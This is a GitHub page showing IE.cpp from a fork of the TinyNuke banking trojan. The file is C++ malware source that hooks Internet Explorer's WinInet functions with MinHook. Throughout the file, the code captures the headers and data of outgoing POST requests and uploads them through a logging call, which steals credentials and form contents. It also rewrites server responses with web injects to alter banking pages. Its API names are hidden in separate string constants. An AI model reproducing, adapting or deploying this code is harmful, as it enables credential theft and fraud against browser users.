forked from rossja/TinyNuke
-
Notifications
You must be signed in to change notification settings - Fork 0
/
IE.cpp
307 lines (285 loc) · 11.7 KB
/
IE.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
#include "..\Common.h"
#include "..\MinHook\include\MinHook.h"
#include "BrowserUtils.h"
#include "WebInjects.h"
#include "..\Utils.h"
#include <WinInet.h>
struct Request
{
char *host;
char *path;
char *buffer;
BOOL post;
BOOL postSent;
char *postData;
DWORD postDataSize;
HINTERNET hInternet;
DWORD bufferSize;
BOOL replace;
BOOL isRead;
DWORD sent;
AiList *injects;
};
static Request g_requests[MAX_REQUESTS] = { 0 };
static CRITICAL_SECTION g_critSec;
static BOOL (__stdcall *Real_InternetReadFile)(LPVOID hFile, LPVOID lpBuffer, DWORD dwNumberOfBytesToRead, LPDWORD lpdwNumberOfBytesRead);
static BOOL (__stdcall *Real_HttpSendRequestW)(LPVOID hRequest, LPCWSTR lpszHeaders, DWORD dwHeadersLength, LPVOID lpOptional, DWORD dwOptionalLength);
static LPVOID (__stdcall *Real_InternetConnectW)(LPVOID hInternet, LPCWSTR lpszServerName, WORD nServerPort, LPCWSTR lpszUserName, LPCWSTR lpszPassword, DWORD dwService, DWORD dwFlags, DWORD_PTR dwContext);
static LPVOID (__stdcall *Real_HttpOpenRequestW)(LPVOID hConnect, LPCWSTR lpszVerb, LPCWSTR lpszObjectName, LPCWSTR lpszVersion, LPCWSTR lpszReferrer, LPCWSTR* lplpszAcceptTypes, DWORD dwFlags, DWORD_PTR dwContext);
static BOOL (__stdcall *Real_InternetQueryDataAvailable)(HINTERNET hFile, LPDWORD lpdwNumberOfBytesAvailable, DWORD dwFlags, DWORD_PTR dwContext);
static BOOL (__stdcall *Real_InternetCloseHandle)(HINTERNET hInternet);
static BOOL (__stdcall *Real_InternetReadFileEx)(HINTERNET hFile, LPINTERNET_BUFFERS lpBuffersOut, DWORD dwFlags, DWORD_PTR dwContext);
static BOOL (__stdcall *Real_InternetWriteFile) (HINTERNET hFile, LPCVOID lpBuffer, DWORD dwNumberOfBytesToWrite, LPDWORD lpdwNumberOfBytesWritten);
static void AddRequest(PVOID hInternet, PCHAR host)
{
Funcs::pEnterCriticalSection(&g_critSec);
for(DWORD i = 0; i < MAX_REQUESTS; ++i)
{
if(!g_requests[i].hInternet)
{
g_requests[i].hInternet = hInternet;
g_requests[i].host = host;
break;
}
}
Funcs::pLeaveCriticalSection(&g_critSec);
}
static void RemoveRequest(void* hInternet)
{
Funcs::pEnterCriticalSection(&g_critSec);
for(DWORD i = 0; i < MAX_REQUESTS; ++i)
{
if(g_requests[i].hInternet == hInternet)
{
Funcs::pFree(g_requests[i].buffer);
Funcs::pFree(g_requests[i].host);
Funcs::pFree(g_requests[i].path);
Funcs::pFree(g_requests[i].postData);
Funcs::pMemset(&g_requests[i], 0, sizeof(g_requests[i]));
break;
}
}
Funcs::pLeaveCriticalSection(&g_critSec);
}
static Request *GetRequest(void* hInternet)
{
Funcs::pEnterCriticalSection(&g_critSec);
for(DWORD i = 0; i < MAX_REQUESTS; ++i)
{
if(g_requests[i].hInternet == hInternet)
{
Funcs::pLeaveCriticalSection(&g_critSec);
return &g_requests[i];
}
}
Funcs::pLeaveCriticalSection(&g_critSec);
return NULL;
}
static BOOL __stdcall My_InternetWriteFile(HINTERNET hFile, LPCVOID lpBuffer, DWORD dwNumberOfBytesToWrite, LPDWORD lpdwNumberOfBytesWritten)
{
Request *request = GetRequest(hFile);
if(request)
{
if(request->post)
{
request->postData = (char *) Alloc(dwNumberOfBytesToWrite);
Funcs::pMemcpy(request->postData, lpBuffer, dwNumberOfBytesToWrite);
request->postDataSize = dwNumberOfBytesToWrite;
}
}
return Real_InternetWriteFile(hFile, lpBuffer, dwNumberOfBytesToWrite, lpdwNumberOfBytesWritten);
}
static BOOL __stdcall My_HttpSendRequestW(HINTERNET hRequest, LPCWSTR lpszHeaders, DWORD dwHeadersLength, LPVOID lpOptional, DWORD dwOptionalLength)
{
BOOL ret = Real_HttpSendRequestW(hRequest, lpszHeaders, dwHeadersLength, lpOptional, dwOptionalLength);
Request *request = GetRequest(hRequest);
if(request)
{
if(request->post)
{
request->postData = (char *) Alloc(dwOptionalLength);
Funcs::pMemcpy(request->postData, lpOptional, dwOptionalLength);
request->postDataSize = dwOptionalLength;
}
}
return ret;
}
static HINTERNET __stdcall My_InternetConnectW(HINTERNET hInternet, LPCWSTR lpszServerName, INTERNET_PORT nServerPort, LPCWSTR lpszUserName, LPCWSTR lpszPassword, DWORD dwService, DWORD dwFlags, DWORD_PTR dwContext)
{
HINTERNET Ret = Real_InternetConnectW(hInternet, lpszServerName, nServerPort, lpszUserName, lpszPassword, dwService, dwFlags, dwContext);
if(Ret)
{
char *host = Utf16toUtf8((wchar_t *) lpszServerName);
AddRequest(Ret, host);
}
return Ret;
}
static HINTERNET __stdcall My_HttpOpenRequestW(HINTERNET hConnect, LPCWSTR lpszVerb, LPCWSTR lpszObjectName, LPCWSTR lpszVersion, LPCWSTR lpszReferrer, LPCWSTR* lplpszAcceptTypes, DWORD dwFlags, DWORD_PTR dwContext)
{
Request *request = GetRequest(hConnect);
if(request)
{
char *path = Utf16toUtf8((wchar_t *) lpszObjectName);
char *lpszVerbA = Utf16toUtf8((wchar_t *) lpszVerb);
request->post = !Funcs::pLstrcmpA(lpszVerbA, Strs::ie1);
request->path = path;
request->injects = GetWebInject(request->host, path);
Funcs::pFree(lpszVerbA);
}
HINTERNET ret = Real_HttpOpenRequestW(hConnect, lpszVerb, lpszObjectName, lpszVersion, lpszReferrer, lplpszAcceptTypes, dwFlags, dwContext);
if(!ret)
RemoveRequest(hConnect);
else if(request)
request->hInternet = ret;
return ret;
}
static BOOL __stdcall My_InternetQueryDataAvailable(HINTERNET hFile, LPDWORD lpdwNumberOfBytesAvailable, DWORD dwFlags, DWORD_PTR dwContext)
{
BOOL ret = Real_InternetQueryDataAvailable(hFile, lpdwNumberOfBytesAvailable, dwFlags, dwContext);
Request *request = GetRequest(hFile);
if(request && request->injects)
*lpdwNumberOfBytesAvailable = 2048;
return ret;
}
static BOOL __stdcall My_InternetReadFile(HINTERNET hFile, LPVOID lpBuffer, DWORD dwNumberOfBytesToRead, LPDWORD lpdwNumberOfBytesRead)
{
Request *request = GetRequest(hFile);
if(request)
{
if(request->post && !request->postSent)
{
char *buffer = NULL;
DWORD headersSize = 0;
Funcs::pHttpQueryInfoA(hFile, HTTP_QUERY_FLAG_REQUEST_HEADERS | HTTP_QUERY_RAW_HEADERS_CRLF, buffer, &headersSize, NULL);
buffer = (char *) Alloc(headersSize + request->postDataSize + 1);
Funcs::pHttpQueryInfoA(hFile, HTTP_QUERY_FLAG_REQUEST_HEADERS | HTTP_QUERY_RAW_HEADERS_CRLF, buffer, &headersSize, NULL);
Funcs::pMemcpy(buffer + headersSize, request->postData, request->postDataSize);
buffer[headersSize + request->postDataSize] = 0;
BOOL inject;
char *url = GetUrlHostPath(request->host, request->path, &inject);
UploadLog(Strs::ieName, url, buffer, inject);
Funcs::pFree(url);
Funcs::pFree(buffer);
}
if(request->injects)
{
for(;!request->isRead;)
{
BOOL ret = Real_InternetReadFile(hFile, lpBuffer, dwNumberOfBytesToRead, lpdwNumberOfBytesRead);
if (!ret)
{
if(Funcs::pGetLastError() == ERROR_IO_PENDING)
{
//todo: use InternetStatusCallback instead of this hack
for(DWORD i = 0; *lpdwNumberOfBytesRead == 0; ++i)
{
if(i == 15)
{
RemoveRequest(hFile);
return FALSE;
}
Funcs::pSleep(100);
}
}
else
{
RemoveRequest(hFile);
return FALSE;
}
}
if(*lpdwNumberOfBytesRead == 0)
{
if(request->buffer)
{
request->buffer[request->bufferSize] = 0;
if(Funcs::pStrStrIA(request->buffer, Strs::ie2))
{
ReplaceWebInjects(&request->buffer, request->injects);
request->bufferSize = Funcs::pLstrlenA(request->buffer);
}
}
request->isRead = TRUE;
break;
}
else
{
if(!request->buffer)
request->buffer = (char *) Alloc(*lpdwNumberOfBytesRead + 1);
else
request->buffer = (char *) ReAlloc(request->buffer, request->bufferSize + *lpdwNumberOfBytesRead + 1);
Funcs::pMemcpy(request->buffer + request->bufferSize, lpBuffer, *lpdwNumberOfBytesRead);
request->bufferSize += *lpdwNumberOfBytesRead;
}
}
DWORD diff = request->bufferSize - request->sent;
if(diff >= dwNumberOfBytesToRead)
{
Funcs::pMemcpy(lpBuffer, request->buffer + request->sent, dwNumberOfBytesToRead);
*lpdwNumberOfBytesRead = dwNumberOfBytesToRead;
request->sent += *lpdwNumberOfBytesRead;
}
else if(diff > 0)
{
Funcs::pMemcpy(lpBuffer, request->buffer + request->sent, diff);
*lpdwNumberOfBytesRead = diff;
request->sent += *lpdwNumberOfBytesRead;
}
else
{
RemoveRequest(hFile);
*lpdwNumberOfBytesRead = 0;
}
return TRUE;
}
else
RemoveRequest(hFile);
}
return Real_InternetReadFile(hFile, lpBuffer, dwNumberOfBytesToRead, lpdwNumberOfBytesRead);
}
static BOOL __stdcall My_InternetReadFileEx(HINTERNET hFile, LPINTERNET_BUFFERS lpBuffersOut, DWORD dwFlags, DWORD_PTR dwContext)
{
BOOL ret = Real_InternetReadFileEx(hFile, lpBuffersOut, dwFlags, dwContext);
Request *request = GetRequest(hFile);
if(request)
RemoveRequest(hFile);
char *headers = NULL;
DWORD headersSize = 0;
Funcs::pHttpQueryInfoA(hFile, HTTP_QUERY_RAW_HEADERS_CRLF, headers, &headersSize, NULL);
headers = (char *) Alloc(headersSize + 1);
Funcs::pHttpQueryInfoA(hFile, HTTP_QUERY_RAW_HEADERS_CRLF, headers, &headersSize, NULL);
headers[headersSize] = 0;
char *str = Strs::ie3; //I hate IE rather hack it then understand it
DWORD strLen = Funcs::pLstrlenA(str);
char *contentType = FindStrSandwich(headers, Strs::fc8, Strs::winNewLine);
if(Funcs::pStrStrIA((char *) lpBuffersOut->lpvBuffer, Strs::ie2) && lpBuffersOut->dwBufferLength >= strLen)
{
lpBuffersOut->dwBufferLength = strLen;
Funcs::pLstrcpyA((char *) lpBuffersOut->lpvBuffer, str);
Funcs::pFree(headers);
return TRUE;
}
Funcs::pFree(headers);
return ret;
}
static BOOL __stdcall My_InternetCloseHandle(HINTERNET hInternet)
{
Request *request = GetRequest(hInternet);
if(request)
RemoveRequest(hInternet);
return Real_InternetCloseHandle(hInternet);
}
void HookIe()
{
MH_Initialize();
LoadWebInjects();
Funcs::pInitializeCriticalSection(&g_critSec);
MH_CreateHookApi(Strs::wWininet, Strs::ie4, My_InternetCloseHandle, (LPVOID *) &Real_InternetCloseHandle);
MH_CreateHookApi(Strs::wWininet, Strs::ie5, My_InternetQueryDataAvailable, (LPVOID *) &Real_InternetQueryDataAvailable);
MH_CreateHookApi(Strs::wWininet, Strs::ie6, My_HttpOpenRequestW, (LPVOID *) &Real_HttpOpenRequestW);
MH_CreateHookApi(Strs::wWininet, Strs::ie7, My_InternetConnectW, (LPVOID *) &Real_InternetConnectW);
MH_CreateHookApi(Strs::wWininet, Strs::ie8, My_HttpSendRequestW, (LPVOID *) &Real_HttpSendRequestW);
MH_CreateHookApi(Strs::wWininet, Strs::ie9, My_InternetReadFile, (LPVOID *) &Real_InternetReadFile);
MH_CreateHookApi(Strs::wWininet, Strs::ie10, My_InternetReadFileEx, (LPVOID *) &Real_InternetReadFileEx);
MH_CreateHookApi(Strs::wWininet, Strs::ie11, My_InternetWriteFile, (LPVOID *) &Real_InternetWriteFile);
MH_EnableHook(MH_ALL_HOOKS);
}